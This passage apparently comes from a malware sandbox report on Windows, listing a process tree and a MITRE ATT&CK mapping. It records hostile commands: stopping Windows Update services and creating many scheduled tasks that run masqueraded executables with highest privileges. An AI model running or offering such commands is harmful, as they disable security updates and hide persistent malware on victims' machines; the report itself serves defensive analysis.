  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5044
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3440
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4436
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2380
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4940
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3660
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3808
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4236
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1724
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:316
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3732

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2320

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1956

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4492

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1648

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4988

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4876

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4800

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:1944
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Internet Explorer\images\dllhost.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4560
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\dllhost.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2680
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\images\dllhost.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4628
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4780
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1060
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2952
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Microsoft\conhost.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4984
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\conhost.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4568
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Microsoft\conhost.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4636
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Windows\ShellExperiences\WmiPrvSE.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:3196
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:4828
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\Windows\ShellExperiences\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2632
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Music\WmiPrvSE.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2824
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Public\Music\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2508
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Music\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:3532

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:4216

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1512

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1392

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:4668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery